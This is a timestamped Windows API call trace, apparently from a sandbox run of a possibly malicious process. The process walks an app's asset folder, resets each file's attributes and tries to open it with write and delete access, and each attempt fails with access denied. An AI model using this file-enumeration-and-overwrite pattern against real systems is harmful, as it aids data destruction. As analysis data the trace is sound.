	[0090.914] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsbadge.contrast-black_scale-100.png")) returned 0x20
	[0090.916] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.916] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsbadge.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.916] GetLastError () returned 0x5
	[0090.916] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.916] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ea70) returned 1
	[0090.916] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485dffa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485dffa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485dffa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsBadge.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.916] wcscmp (_String1="AlarmsBadge.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.916] wcscmp (_String1="AlarmsBadge.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.916] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x132) returned 0x481ea70
	[0090.916] wcscpy (in: _Dest=0x481ea70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.916] wcscat (in: _Dest=0x481ea70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.916] wcscat (in: _Dest=0x481ea70, _Source="AlarmsBadge.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-white_scale-100.png"
	[0090.916] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsbadge.contrast-white_scale-100.png")) returned 0x20
	[0090.919] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.919] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsbadge.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.919] GetLastError () returned 0x5
	[0090.919] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.919] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ea70) returned 1
	[0090.919] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x485dffa1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x485dffa1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x485dffa1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsBadge.scale-100.png", cAlternateFileName="")) returned 1
	[0090.919] wcscmp (_String1="AlarmsBadge.scale-100.png", _String2=".") returned 1
	[0090.919] wcscmp (_String1="AlarmsBadge.scale-100.png", _String2="..") returned 1
	[0090.919] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4771868
	[0090.919] wcscpy (in: _Dest=0x4771868, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.919] wcscat (in: _Dest=0x4771868, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.919] wcscat (in: _Dest=0x4771868, _Source="AlarmsBadge.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.scale-100.png"
	[0090.920] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsbadge.scale-100.png")) returned 0x20
	[0090.922] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.922] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsbadge.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.922] GetLastError () returned 0x5
	[0090.922] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsBadge.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.922] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771868) returned 1
	[0090.923] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486061fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x486061fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x486061fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x611, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsLargeTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.923] wcscmp (_String1="AlarmsLargeTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.923] wcscmp (_String1="AlarmsLargeTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.923] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d85ee8
	[0090.923] wcscpy (in: _Dest=0x2d85ee8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.923] wcscat (in: _Dest=0x2d85ee8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.923] wcscat (in: _Dest=0x2d85ee8, _Source="AlarmsLargeTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-black_scale-100.png"
	[0090.923] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmslargetile.contrast-black_scale-100.png")) returned 0x20
	[0090.926] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.926] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmslargetile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.926] GetLastError () returned 0x5
	[0090.926] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.926] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0090.926] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486061fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x486061fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x486061fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsLargeTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.926] wcscmp (_String1="AlarmsLargeTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.926] wcscmp (_String1="AlarmsLargeTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d883a8
	[0090.926] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.926] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.926] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsLargeTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-white_scale-100.png"
	[0090.927] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmslargetile.contrast-white_scale-100.png")) returned 0x20
	[0090.929] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.929] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmslargetile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.929] GetLastError () returned 0x5
	[0090.929] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.929] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486061fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x486061fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x486061fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x611, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsLargeTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.929] wcscmp (_String1="AlarmsLargeTile.scale-100.png", _String2=".") returned 1
	[0090.929] wcscmp (_String1="AlarmsLargeTile.scale-100.png", _String2="..") returned 1
	[0090.929] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2d883a8
	[0090.929] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.929] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.929] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsLargeTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.scale-100.png"
	[0090.930] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmslargetile.scale-100.png")) returned 0x20
	[0090.930] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.930] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmslargetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.930] GetLastError () returned 0x5
	[0090.930] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.930] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.930] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486061fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x486061fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x486061fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsMedTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.930] wcscmp (_String1="AlarmsMedTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.930] wcscmp (_String1="AlarmsMedTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.930] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e030
	[0090.930] wcscpy (in: _Dest=0x481e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.930] wcscat (in: _Dest=0x481e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.930] wcscat (in: _Dest=0x481e030, _Source="AlarmsMedTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-black_scale-100.png"
	[0090.930] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsmedtile.contrast-black_scale-100.png")) returned 0x20
	[0090.933] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.933] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsmedtile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.933] GetLastError () returned 0x5
	[0090.933] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.933] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0090.933] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486061fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x486061fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x486061fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsMedTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.933] wcscmp (_String1="AlarmsMedTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.933] wcscmp (_String1="AlarmsMedTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.933] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x136) returned 0x481e698
	[0090.933] wcscpy (in: _Dest=0x481e698, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.933] wcscat (in: _Dest=0x481e698, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.933] wcscat (in: _Dest=0x481e698, _Source="AlarmsMedTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-white_scale-100.png"
	[0090.933] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsmedtile.contrast-white_scale-100.png")) returned 0x20
	[0090.936] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.936] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsMedTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsmedtile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.936] GetLastError () returned 0x5
